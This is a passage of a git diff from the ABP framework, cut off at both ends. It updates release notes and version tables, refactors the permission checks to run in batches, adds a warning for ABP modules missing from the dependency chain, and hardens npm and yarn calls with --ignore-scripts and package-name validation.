-* Dynamically add **data table columns** on the user interface (see the documents: [angular](../framework/ui/angular/data-table-column-extensions.md), [mvc](../framework/ui/mvc-razor-pages/data-table-column-extensions.md)).
-* Created a rich **sample solution**, named "Easy CRM" (see the document).
-* Allow to dynamically **override the logo**.
-* **Optimize database migrations** & seed code for multi-tenant multi-database systems.
-* ABP Suite: Make **menu item active** on navigation menu when selected.
-* ABP Suite: Improve **enum usage** while creating new entities.
-* Bug fixes in the [Lepton Theme](https://abp.io/themes), [ABP Suite](https://abp.io/tools/suite) and other modules.
+- New module: **Text template management** (with angular and mvc UI - document is [coming](../modules/text-template-management.md)).
+- **Dynamically add properties** to current entities of the depended modules (see [module entity extensions](../framework/architecture/modularity/extending/module-entity-extensions.md))
+- To be able to add **navigation properties** to entities with the ABP Suite (see [navigation properties](../suite/index.md) section).
+- Dynamically add **data table columns** on the user interface (see the documents: [angular](../framework/ui/angular/data-table-column-extensions.md), [mvc](../framework/ui/mvc-razor-pages/data-table-column-extensions.md)).
+- Created a rich **sample solution**, named "Easy CRM" (see the document).
+- Allow to dynamically **override the logo**.
+- **Optimize database migrations** & seed code for multi-tenant multi-database systems.
+- ABP Suite: Make **menu item active** on navigation menu when selected.
+- ABP Suite: Improve **enum usage** while creating new entities.
+- Bug fixes in the [Lepton Theme](https://abp.io/themes), [ABP Suite](https://abp.io/tools/suite) and other modules.
## See Also
-* [Road map](road-map.md)
+- [Road map](road-map.md)
+
diff --git a/docs/en/release-info/road-map.md b/docs/en/release-info/road-map.md
index c83a7efff2..9a19a3c4ae 100644
--- a/docs/en/release-info/road-map.md
+++ b/docs/en/release-info/road-map.md
@@ -13,7 +13,7 @@ This document provides a road map, release schedule, and planned features for th
### v10.4
-After v10.3 reaches stable, the next planned version will be 10.4, which is scheduled to be released as a stable version in May 2026. We will be mostly working on the following topics:
+The next planned version will be 10.4, which is scheduled to be released as a stable version in May 2026. We will be mostly working on the following topics:
* Framework
* Blazor UI: Moving from Blazorise to MudBlazor
diff --git a/docs/en/studio/release-notes.md b/docs/en/studio/release-notes.md
index 3f4714f57f..985c1f7a64 100644
--- a/docs/en/studio/release-notes.md
+++ b/docs/en/studio/release-notes.md
@@ -9,7 +9,34 @@
This document contains **brief release notes** for each ABP Studio release. Release notes only include **major features** and **visible enhancements**. Therefore, they don't include all the development done in the related version.
-## 2.2.4 (2026-03-25) Latest
+## 2.2.7 (2026-04-20) Latest
+
+* Improved Blazor WebApp template setup for easier tiered application development
+* Added application version tracking in analytics events
+* Fixed issues in Basic Theme public website templates
+* Improved PostgreSQL vector database support in templates
+* Enhanced Blazor CRUD support with built-in Book management example
+* Modernized React Native template components
+* Updated to ABP 10.3 and Blazorise 2.0.4
+* Improved run profile and PowerShell execution reliability
+* Added AI Management and Rate Limiting modules to available module options
+
+
+## 2.2.6 (2026-04-08)
+
+- Disable Scriban 7.0 cumulative output limit for template rendering
+
+## 2.2.5 (2026-04-08)
+
+- Upgraded GPT-5 → GPT-5.4 and improved AI management (providers, blob storage, CLI options)
+- Fixed critical build issues (MongoDB, MAUI) and improved overall stability
+- Enhanced monitoring (HTTP requests & exceptions)
+- Added DBMS auto-detection from connection string
+- Upgraded to ABP 10.2 and Scriban 7.0.0
+- Improved developer experience and telemetry (PostHog)
+- Minor UI fixes and workflow adjustments (manual build trigger)
+
+## 2.2.4 (2026-03-25)
- Add `Template Create and Build` workflow
- Disable NuGetAudit in template common.props to prevent CLI deadlock during initial migration
diff --git a/docs/en/studio/version-mapping.md b/docs/en/studio/version-mapping.md
index baa5b24ff1..2dcdda868f 100644
--- a/docs/en/studio/version-mapping.md
+++ b/docs/en/studio/version-mapping.md
@@ -11,6 +11,8 @@ This document provides a general overview of the relationship between various ve
| **ABP Studio Version** | **ABP Version of Startup Template** |
|------------------------|---------------------------|
+| 2.2.7 | 10.3.0 |
+| 2.2.5 - 2.2.6 | 10.2.0 |
| 2.2.2 - 2.2.4 | 10.1.1 |
| 2.2.1 | 10.1.0 |
| 2.1.5 - 2.1.9 | 10.0.2 |
@@ -43,7 +45,6 @@ This document provides a general overview of the relationship between various ve
| 0.7.0 to 0.7.3 | 8.2.0 |
| 0.6.8 - 0.6.9 | 8.1.3 |
| 0.6.7 | 8.1.1 |
-
# Working with ABP's Preview Versions
By default, ABP Studio uses stable versions to create solutions. Therefore, if you want to create a solution with a preview version, first you need to create a solution and then switch your solution to the preview version from the ABP Studio UI:
diff --git a/framework/src/Volo.Abp.AspNetCore.MultiTenancy/Volo/Abp/AspNetCore/MultiTenancy/QueryStringTenantResolveContributor.cs b/framework/src/Volo.Abp.AspNetCore.MultiTenancy/Volo/Abp/AspNetCore/MultiTenancy/QueryStringTenantResolveContributor.cs
index 49fb0dc620..80706a5669 100644
--- a/framework/src/Volo.Abp.AspNetCore.MultiTenancy/Volo/Abp/AspNetCore/MultiTenancy/QueryStringTenantResolveContributor.cs
+++ b/framework/src/Volo.Abp.AspNetCore.MultiTenancy/Volo/Abp/AspNetCore/MultiTenancy/QueryStringTenantResolveContributor.cs
@@ -19,13 +19,10 @@ public class QueryStringTenantResolveContributor : HttpTenantResolveContributorB
if (httpContext.Request.Query.ContainsKey(tenantKey))
{
var tenantValue = httpContext.Request.Query[tenantKey].ToString();
- if (tenantValue.IsNullOrWhiteSpace())
+ if (!tenantValue.IsNullOrWhiteSpace())
{
- context.Handled = true;
- return Task.FromResult(null);
+ return Task.FromResult(tenantValue);
}
-
- return Task.FromResult(tenantValue)!;
}
}
diff --git a/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/AbpAspNetCoreMvcUiThemeSharedModule.cs b/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/AbpAspNetCoreMvcUiThemeSharedModule.cs
index b62d3f27ba..da418c8dc2 100644
--- a/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/AbpAspNetCoreMvcUiThemeSharedModule.cs
+++ b/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/AbpAspNetCoreMvcUiThemeSharedModule.cs
@@ -4,6 +4,7 @@ using Volo.Abp.AspNetCore.Mvc.UI.Bundling;
using Volo.Abp.AspNetCore.Mvc.UI.Packages;
using Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared.Bundling;
using Volo.Abp.AspNetCore.Mvc.UI.Widgets;
+using Volo.Abp.Features;
using Volo.Abp.Modularity;
using Volo.Abp.VirtualFileSystem;
@@ -12,7 +13,8 @@ namespace Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared;
[DependsOn(
typeof(AbpAspNetCoreMvcUiBootstrapModule),
typeof(AbpAspNetCoreMvcUiPackagesModule),
- typeof(AbpAspNetCoreMvcUiWidgetsModule)
+ typeof(AbpAspNetCoreMvcUiWidgetsModule),
+ typeof(AbpFeaturesModule)
)]
public class AbpAspNetCoreMvcUiThemeSharedModule : AbpModule
{
diff --git a/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/Toolbars/ToolbarManager.cs b/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/Toolbars/ToolbarManager.cs
index 7822277371..c4e25c98a9 100644
--- a/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/Toolbars/ToolbarManager.cs
+++ b/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/Toolbars/ToolbarManager.cs
@@ -7,6 +7,7 @@ using Microsoft.Extensions.Options;
using Volo.Abp.AspNetCore.Mvc.UI.Theming;
using Volo.Abp.Authorization.Permissions;
using Volo.Abp.DependencyInjection;
+using Volo.Abp.Features;
using Volo.Abp.SimpleStateChecking;
namespace Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared.Toolbars;
@@ -37,6 +38,7 @@ public class ToolbarManager : IToolbarManager, ITransientDependency
using (var scope = ServiceProvider.CreateScope())
{
using (RequirePermissionsSimpleBatchStateChecker.Use(new RequirePermissionsSimpleBatchStateChecker()))
+ using (RequireFeaturesSimpleBatchStateChecker.Use(new RequireFeaturesSimpleBatchStateChecker()))
{
var context = new ToolbarConfigurationContext(ThemeManager.CurrentTheme, toolbar, scope.ServiceProvider);
diff --git a/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared.csproj b/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared.csproj
index f80e51eb05..c2bc439691 100644
--- a/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared.csproj
+++ b/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared.csproj
@@ -30,6 +30,7 @@
+
diff --git a/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/wwwroot/libs/abp/aspnetcore-mvc-ui-theme-shared/jquery-form/jquery-form-extensions.js b/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/wwwroot/libs/abp/aspnetcore-mvc-ui-theme-shared/jquery-form/jquery-form-extensions.js
index 9470d46f88..1f5f67b0f4 100644
--- a/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/wwwroot/libs/abp/aspnetcore-mvc-ui-theme-shared/jquery-form/jquery-form-extensions.js
+++ b/framework/src/Volo.Abp.AspNetCore.Mvc.UI.Theme.Shared/wwwroot/libs/abp/aspnetcore-mvc-ui-theme-shared/jquery-form/jquery-form-extensions.js
@@ -88,6 +88,10 @@
};
$form.off("submit.abpAjaxForm").on("submit.abpAjaxForm", function (e) {
+ if (e.isDefaultPrevented()) {
+ return;
+ }
+
e.preventDefault();
var formEl = $form[0];
diff --git a/framework/src/Volo.Abp.AspNetCore.Mvc/Volo/Abp/AspNetCore/Mvc/ApplicationConfigurations/AbpApplicationConfigurationAppService.cs b/framework/src/Volo.Abp.AspNetCore.Mvc/Volo/Abp/AspNetCore/Mvc/ApplicationConfigurations/AbpApplicationConfigurationAppService.cs
index f22b7739a2..beae2d9e0f 100644
--- a/framework/src/Volo.Abp.AspNetCore.Mvc/Volo/Abp/AspNetCore/Mvc/ApplicationConfigurations/AbpApplicationConfigurationAppService.cs
+++ b/framework/src/Volo.Abp.AspNetCore.Mvc/Volo/Abp/AspNetCore/Mvc/ApplicationConfigurations/AbpApplicationConfigurationAppService.cs
@@ -175,10 +175,14 @@ public class AbpApplicationConfigurationAppService : ApplicationService, IAbpApp
var abpPolicyNames = new List();
var otherPolicyNames = new List();
+ var permissionNameSet = new HashSet(
+ (await _permissionDefinitionManager.GetPermissionsAsync()).Select(p => p.Name),
+ StringComparer.Ordinal);
+
foreach (var policyName in policyNames)
{
if (await _defaultAuthorizationPolicyProvider.GetPolicyAsync(policyName) == null &&
- await _permissionDefinitionManager.GetOrNullAsync(policyName) != null)
+ permissionNameSet.Contains(policyName))
{
abpPolicyNames.Add(policyName);
}
diff --git a/framework/src/Volo.Abp.AspNetCore.Mvc/Volo/Abp/AspNetCore/Mvc/Infrastructure/AbpMemoryPoolHttpResponseStreamWriterFactory.cs b/framework/src/Volo.Abp.AspNetCore.Mvc/Volo/Abp/AspNetCore/Mvc/Infrastructure/AbpMemoryPoolHttpResponseStreamWriterFactory.cs
index 78e13fc73e..0cad4a1ada 100644
--- a/framework/src/Volo.Abp.AspNetCore.Mvc/Volo/Abp/AspNetCore/Mvc/Infrastructure/AbpMemoryPoolHttpResponseStreamWriterFactory.cs
+++ b/framework/src/Volo.Abp.AspNetCore.Mvc/Volo/Abp/AspNetCore/Mvc/Infrastructure/AbpMemoryPoolHttpResponseStreamWriterFactory.cs
@@ -12,7 +12,7 @@ namespace Volo.Abp.AspNetCore.Mvc.Infrastructure;
///
public class AbpMemoryPoolHttpResponseStreamWriterFactory : IHttpResponseStreamWriterFactory
{
- public const int DefaultBufferSize = 32 * 1024;
+ public const int DefaultBufferSize = 256 * 1024;
private readonly ArrayPool _bytePool;
private readonly ArrayPool _charPool;
diff --git a/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/PermissionChecker.cs b/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/PermissionChecker.cs
index 4a5e48c220..ea95071e81 100644
--- a/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/PermissionChecker.cs
+++ b/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/PermissionChecker.cs
@@ -1,4 +1,5 @@
-using System.Collections.Generic;
+using System;
+using System.Collections.Generic;
using System.Linq;
using System.Security.Claims;
using System.Security.Principal;
@@ -110,11 +111,15 @@ public class PermissionChecker : IPermissionChecker, ITransientDependency
var multiTenancySide = claimsPrincipal?.GetMultiTenancySide() ??
CurrentTenant.GetMultiTenancySide();
+ var allPermissions = (await PermissionDefinitionManager.GetPermissionsAsync())
+ .ToDictionary(p => p.Name, StringComparer.Ordinal);
+
+ var pendingStateCheck = new List();
var permissionDefinitions = new List();
+
foreach (var name in names)
{
- var permission = await PermissionDefinitionManager.GetOrNullAsync(name);
- if (permission == null)
+ if (!allPermissions.TryGetValue(name, out var permission))
{
result.Result.Add(name, PermissionGrantResult.Prohibited);
continue;
@@ -122,11 +127,23 @@ public class PermissionChecker : IPermissionChecker, ITransientDependency
result.Result.Add(name, PermissionGrantResult.Undefined);
- if (permission.IsEnabled &&
- await StateCheckerManager.IsEnabledAsync(permission) &&
- permission.MultiTenancySide.HasFlag(multiTenancySide))
+ if (!permission.IsEnabled || !permission.MultiTenancySide.HasFlag(multiTenancySide))
{
- permissionDefinitions.Add(permission);
+ continue;
+ }
+
+ pendingStateCheck.Add(permission);
+ }
+
+ if (pendingStateCheck.Count > 0)
+ {
+ var stateCheckResult = await StateCheckerManager.IsEnabledAsync(pendingStateCheck.ToArray());
+ foreach (var item in stateCheckResult)
+ {
+ if (item.Value)
+ {
+ permissionDefinitions.Add(item.Key);
+ }
}
}
diff --git a/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/PermissionDefinitionManager.cs b/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/PermissionDefinitionManager.cs
index 3dbc22fb47..7db0531c78 100644
--- a/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/PermissionDefinitionManager.cs
+++ b/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/PermissionDefinitionManager.cs
@@ -75,15 +75,18 @@ public class PermissionDefinitionManager : IPermissionDefinitionManager, ITransi
public virtual async Task> GetResourcePermissionsAsync()
{
var staticResourcePermissions = await _staticStore.GetResourcePermissionsAsync();
- var staticResourcePermissionNames = staticResourcePermissions
- .Select(p => p.Name)
+ var staticResourcePermissionKeys = staticResourcePermissions
+ .Select(p => (p.ResourceName, p.Name))
.ToImmutableHashSet();
var dynamicResourcePermissions = await _dynamicStore.GetResourcePermissionsAsync();
- /* We prefer static permissions over dynamics */
+ /* We prefer static permissions over dynamics.
+ * Resource permissions are unique by (ResourceName, Name), so we must deduplicate
+ * using both fields to avoid incorrectly excluding dynamic permissions whose name
+ * matches a static permission from a different resource. */
return staticResourcePermissions.Concat(
- dynamicResourcePermissions.Where(d => !staticResourcePermissionNames.Contains(d.Name))
+ dynamicResourcePermissions.Where(d => !staticResourcePermissionKeys.Contains((d.ResourceName, d.Name)))
).ToImmutableList();
}
diff --git a/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/RequirePermissionsSimpleBatchStateChecker.cs b/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/RequirePermissionsSimpleBatchStateChecker.cs
index 70e74a6bca..ad6c9b989e 100644
--- a/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/RequirePermissionsSimpleBatchStateChecker.cs
+++ b/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/RequirePermissionsSimpleBatchStateChecker.cs
@@ -47,13 +47,33 @@ public class RequirePermissionsSimpleBatchStateChecker : SimpleBatchStat
var result = new SimpleStateCheckerResult(context.States);
- var permissions = _models.Where(x => context.States.Any(s => s.Equals(x.State))).SelectMany(x => x.Permissions).Distinct().ToArray();
- var grantResult = await permissionChecker.IsGrantedAsync(permissions);
+ var stateSet = new HashSet(context.States);
+ var modelLookup = new Dictionary>();
+ var allPermissions = new HashSet();
+
+ foreach (var model in _models)
+ {
+ if (!stateSet.Contains(model.State))
+ {
+ continue;
+ }
+
+ if (!modelLookup.ContainsKey(model.State))
+ {
+ modelLookup[model.State] = model;
+ }
+
+ foreach (var permission in model.Permissions)
+ {
+ allPermissions.Add(permission);
+ }
+ }
+
+ var grantResult = await permissionChecker.IsGrantedAsync(allPermissions.ToArray());
foreach (var state in context.States)
{
- var model = _models.FirstOrDefault(x => x.State.Equals(state));
- if (model != null)
+ if (modelLookup.TryGetValue(state, out var model))
{
if (model.RequiresAll)
{
diff --git a/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/Resources/ResourcePermissionChecker.cs b/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/Resources/ResourcePermissionChecker.cs
index a920c2e464..ca7155909e 100644
--- a/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/Resources/ResourcePermissionChecker.cs
+++ b/framework/src/Volo.Abp.Authorization/Volo/Abp/Authorization/Permissions/Resources/ResourcePermissionChecker.cs
@@ -1,4 +1,5 @@
-using System.Collections.Generic;
+using System;
+using System.Collections.Generic;
using System.Linq;
using System.Security.Claims;
using System.Security.Principal;
@@ -115,11 +116,16 @@ public class ResourcePermissionChecker : IResourcePermissionChecker, ITransientD
var multiTenancySide = claimsPrincipal?.GetMultiTenancySide() ??
CurrentTenant.GetMultiTenancySide();
+ var allResourcePermissions = (await PermissionDefinitionManager.GetResourcePermissionsAsync())
+ .Where(p => p.ResourceName == resourceName)
+ .ToDictionary(p => p.Name, StringComparer.Ordinal);
+
+ var pendingStateCheck = new List();
var permissionDefinitions = new List();
+
foreach (var name in names)
{
- var permission = await PermissionDefinitionManager.GetResourcePermissionOrNullAsync(resourceName, name);
- if (permission == null)
+ if (!allResourcePermissions.TryGetValue(name, out var permission))
{
result.Result.Add(name, PermissionGrantResult.Prohibited);
continue;
@@ -127,11 +133,23 @@ public class ResourcePermissionChecker : IResourcePermissionChecker, ITransientD
result.Result.Add(name, PermissionGrantResult.Undefined);
- if (permission.IsEnabled &&
- await StateCheckerManager.IsEnabledAsync(permission) &&
- permission.MultiTenancySide.HasFlag(multiTenancySide))
+ if (!permission.IsEnabled || !permission.MultiTenancySide.HasFlag(multiTenancySide))
+ {
+ continue;
+ }
+
+ pendingStateCheck.Add(permission);
+ }
+
+ if (pendingStateCheck.Count > 0)
+ {
+ var stateCheckResult = await StateCheckerManager.IsEnabledAsync(pendingStateCheck.ToArray());
+ foreach (var item in stateCheckResult)
{
- permissionDefinitions.Add(permission);
+ if (item.Value)
+ {
+ permissionDefinitions.Add(item.Key);
+ }
}
}
diff --git a/framework/src/Volo.Abp.Autofac/Autofac/Builder/AbpRegistrationBuilderExtensions.cs b/framework/src/Volo.Abp.Autofac/Autofac/Builder/AbpRegistrationBuilderExtensions.cs
index 1c9f4b2dd8..d587d556d8 100644
--- a/framework/src/Volo.Abp.Autofac/Autofac/Builder/AbpRegistrationBuilderExtensions.cs
+++ b/framework/src/Volo.Abp.Autofac/Autofac/Builder/AbpRegistrationBuilderExtensions.cs
@@ -20,7 +20,8 @@ public static class AbpRegistrationBuilderExtensions
ServiceDescriptor serviceDescriptor,
IModuleContainer moduleContainer,
ServiceRegistrationActionList registrationActionList,
- ServiceActivatedActionList activatedActionList)
+ ServiceActivatedActionList activatedActionList,
+ HashSet? nonModuleAssemblies = null)
where TActivatorData : ReflectionActivatorData
{
registrationBuilder = registrationBuilder.InvokeActivatedActions(activatedActionList, serviceDescriptor);
@@ -37,7 +38,7 @@ public static class AbpRegistrationBuilderExtensions
return registrationBuilder;
}
- registrationBuilder = registrationBuilder.EnablePropertyInjection(moduleContainer, implementationType);
+ registrationBuilder = registrationBuilder.EnablePropertyInjection(moduleContainer, implementationType, nonModuleAssemblies);
registrationBuilder = registrationBuilder.InvokeRegistrationActions(registrationActionList, serviceType, implementationType, serviceDescriptor.ServiceKey);
return registrationBuilder;
@@ -99,15 +100,24 @@ public static class AbpRegistrationBuilderExtensions
private static IRegistrationBuilder EnablePropertyInjection(
this IRegistrationBuilder registrationBuilder,
IModuleContainer moduleContainer,
- Type implementationType)
+ Type implementationType,
+ HashSet? nonModuleAssemblies)
where TActivatorData : ReflectionActivatorData
{
// Enable Property Injection only for types in an assembly containing an AbpModule and without a DisablePropertyInjection attribute on class or properties.
- if (moduleContainer.Modules.Any(m => m.AllAssemblies.Contains(implementationType.Assembly)) &&
- implementationType.GetCustomAttributes(typeof(DisablePropertyInjectionAttribute), true).IsNullOrEmpty())
+ if (!implementationType.GetCustomAttributes(typeof(DisablePropertyInjectionAttribute), true).IsNullOrEmpty())
+ {
+ return registrationBuilder;
+ }
+
+ if (moduleContainer.Modules.Any(m => m.AllAssemblies.Contains(implementationType.Assembly)))
{
registrationBuilder = registrationBuilder.PropertiesAutowired(new AbpPropertySelector(false));
}
+ else
+ {
+ nonModuleAssemblies?.Add(implementationType.Assembly);
+ }
return registrationBuilder;
}
diff --git a/framework/src/Volo.Abp.Autofac/Autofac/Extensions/DependencyInjection/AutofacRegistration.cs b/framework/src/Volo.Abp.Autofac/Autofac/Extensions/DependencyInjection/AutofacRegistration.cs
index b92182db92..11216e39ec 100644
--- a/framework/src/Volo.Abp.Autofac/Autofac/Extensions/DependencyInjection/AutofacRegistration.cs
+++ b/framework/src/Volo.Abp.Autofac/Autofac/Extensions/DependencyInjection/AutofacRegistration.cs
@@ -24,7 +24,9 @@
// OTHER DEALINGS IN THE SOFTWARE.
using System;
+using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
+using System.Linq;
using System.Reflection;
using Autofac.Builder;
using Autofac.Core;
@@ -33,7 +35,9 @@ using Autofac.Core.Activators.Delegate;
using Autofac.Core.Activators.Reflection;
using Autofac.Core.Resolving.Pipeline;
using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
using Volo.Abp;
+using Volo.Abp.Autofac;
using Volo.Abp.Modularity;
namespace Autofac.Extensions.DependencyInjection;
@@ -301,6 +305,10 @@ public static class AutofacRegistration
var registrationActionList = services.GetRegistrationActionList();
var activatedActionList = services.GetServiceActivatedActionList();
+ // Assemblies where property injection was skipped because they are not in the module chain.
+ // Collected in EnablePropertyInjection when a type registration's assembly is not part of any loaded module.
+ var nonModuleAssemblies = new HashSet();
+
foreach (var descriptor in services)
{
var implementationType = descriptor.NormalizedImplementationType();
@@ -314,7 +322,7 @@ public static class AutofacRegistration
.RegisterGeneric(implementationType)
.ConfigureServiceType(descriptor)
.ConfigureLifecycle(descriptor.Lifetime, lifetimeScopeTagForSingletons)
- .ConfigureAbpConventions(descriptor, moduleContainer, registrationActionList, activatedActionList);
+ .ConfigureAbpConventions(descriptor, moduleContainer, registrationActionList, activatedActionList, nonModuleAssemblies);
}
else
{
@@ -322,7 +330,7 @@ public static class AutofacRegistration
.RegisterType(implementationType)
.ConfigureServiceType(descriptor)
.ConfigureLifecycle(descriptor.Lifetime, lifetimeScopeTagForSingletons)
- .ConfigureAbpConventions(descriptor, moduleContainer, registrationActionList, activatedActionList);
+ .ConfigureAbpConventions(descriptor, moduleContainer, registrationActionList, activatedActionList, nonModuleAssemblies);
}
continue;
@@ -374,5 +382,62 @@ public static class AutofacRegistration
.ConfigureLifecycle(descriptor.Lifetime, null)
.ExternallyOwned();
}
+
+ WarnForOrphanedAbpModules(services, moduleContainer, nonModuleAssemblies);
+ }
+
+ private static void WarnForOrphanedAbpModules(
+ IServiceCollection services,
+ IModuleContainer moduleContainer,
+ HashSet nonModuleAssemblies)
+ {
+ if (nonModuleAssemblies.Count == 0)
+ {
+ return;
+ }
+
+ var logger = services.GetInitLogger();
+
+ var loadedModuleTypes = new HashSet(
+ moduleContainer.Modules.Select(m => m.Type));
+
+ // Only assemblies that directly reference Volo.Abp.Core can contain AbpModule subclasses.
+ // This skips framework/third-party assemblies (Microsoft.Extensions.*, etc.) cheaply.
+ var abpCoreAssemblyName = typeof(AbpModule).Assembly.GetName().Name;
+
+ foreach (var assembly in nonModuleAssemblies)
+ {
+ if (!assembly.GetReferencedAssemblies().Any(r => r.Name == abpCoreAssemblyName))
+ {
+ continue;
+ }
+
+ Type[] types;
+ try
+ {
+ types = assembly.GetTypes();
+ }
+ catch (ReflectionTypeLoadException ex)
+ {
+ types = ex.Types.Where(t => t != null).ToArray()!;
+ }
+ catch (Exception)
+ {
+ continue;
+ }
+
+ foreach (var type in types)
+ {
+ if (AbpModule.IsAbpModule(type) && !loadedModuleTypes.Contains(type))
+ {
+ logger.LogWarning(
+ $"Assembly '{assembly.GetName().Name}' has services registered in the DI container, " +
+ $"but its ABP module '{type.FullName}' is not in the [DependsOn] chain. " +
+ "Property injection (e.g. LazyServiceProvider) will not work for these types " +
+ "and may cause NullReferenceException at runtime. " +
+ $"Add typeof({type.Name}) to your module's [DependsOn] attribute to fix this.");
+ }
+ }
+ }
}
}
diff --git a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs
index 9f2cb4d221..9b7340fdd7 100644
--- a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs
+++ b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs
@@ -359,18 +359,38 @@ public class NpmPackagesUpdater : ITransientDependency
var properties = dependencies.Properties().ToList();
- abpPackages
- .AddRange(
- properties.Where(
- p => p.Name.StartsWith("@abp/")
- || p.Name.StartsWith("@volo/")
- || p.Name.StartsWith("@volosoft/")).ToList()
- );
+ foreach (var p in properties.Where(
+ p => p.Name.StartsWith("@abp/")
+ || p.Name.StartsWith("@volo/")
+ || p.Name.StartsWith("@volosoft/")))
+ {
+ if (IsValidNpmPackageName(p.Name))
+ {
+ abpPackages.Add(p);
+ }
+ else
+ {
+ Logger.LogWarning($"Skipping invalid npm package name: {NpmHelper.SanitizeForLog(p.Name)}");
+ }
+ }
}
return abpPackages;
}
+ public static bool IsValidNpmPackageName(string packageName)
+ {
+ try
+ {
+ NpmHelper.EnsureSafePackageName(packageName);
+ return true;
+ }
+ catch (CliUsageException)
+ {
+ return false;
+ }
+ }
+
protected virtual async Task RunInstallLibsAsync(string fileDirectory)
{
Logger.LogInformation("Installing client-side packages...");
@@ -380,13 +400,13 @@ public class NpmPackagesUpdater : ITransientDependency
protected virtual void RunYarn(string fileDirectory)
{
Logger.LogInformation($"Running Yarn on {fileDirectory}");
- CmdHelper.RunCmd($"npx yarn", fileDirectory);
+ CmdHelper.RunCmd($"npx yarn --ignore-scripts", fileDirectory);
}
protected virtual void RunNpmInstall(string fileDirectory)
{
Logger.LogInformation($"Running npm install on {fileDirectory}");
- CmdHelper.RunCmd($"npm install", fileDirectory);
+ CmdHelper.RunCmd($"npm install --ignore-scripts", fileDirectory);
}
protected virtual List GetPackageVersionList(JProperty package, string workingDirectory = null)
diff --git a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs
index 9b7b17d57e..8e8d52f7be 100644
--- a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs
+++ b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs
@@ -72,6 +72,9 @@ public class ProjectNpmPackageAdder : ITransientDependency
return;
}
+ NpmHelper.EnsureSafePackageName(npmPackage.Name);
+ NpmHelper.EnsureSafeVersion(version);
+
Logger.LogInformation($"Installing '{npmPackage.Name}' package to the project '{packageJsonFilePath}'...");
if (!File.ReadAllText(packageJsonFilePath).Contains($"\"{npmPackage.Name}\""))
@@ -81,7 +84,7 @@ public class ProjectNpmPackageAdder : ITransientDependency
using (DirectoryHelper.ChangeCurrentDirectory(directory))
{
Logger.LogInformation("yarn add " + npmPackage.Name + versionPostfix);
- CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix);
+ CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix + " --ignore-scripts");
}
}
else
@@ -130,6 +133,8 @@ public class ProjectNpmPackageAdder : ITransientDependency
public async Task AddMvcPackageAsync(string directory, NpmPackageInfo npmPackage, string version = null,
bool skipInstallingLibs = false)
{
+ NpmHelper.EnsureSafePackageName(npmPackage.Name);
+
var packageJsonFilePath = Path.Combine(directory, "package.json");
if (!File.Exists(packageJsonFilePath) ||
File.ReadAllText(packageJsonFilePath).Contains($"\"{npmPackage.Name}\""))
@@ -144,12 +149,14 @@ public class ProjectNpmPackageAdder : ITransientDependency
version = DetectAbpVersionOrNull(Path.Combine(directory, "package.json"));
}
+ NpmHelper.EnsureSafeVersion(version);
+
var versionPostfix = version != null ? $"@{version}" : string.Empty;
using (DirectoryHelper.ChangeCurrentDirectory(directory))
{
Logger.LogInformation("yarn add " + npmPackage.Name + versionPostfix);
- CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix);
+ CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix + " --ignore-scripts");
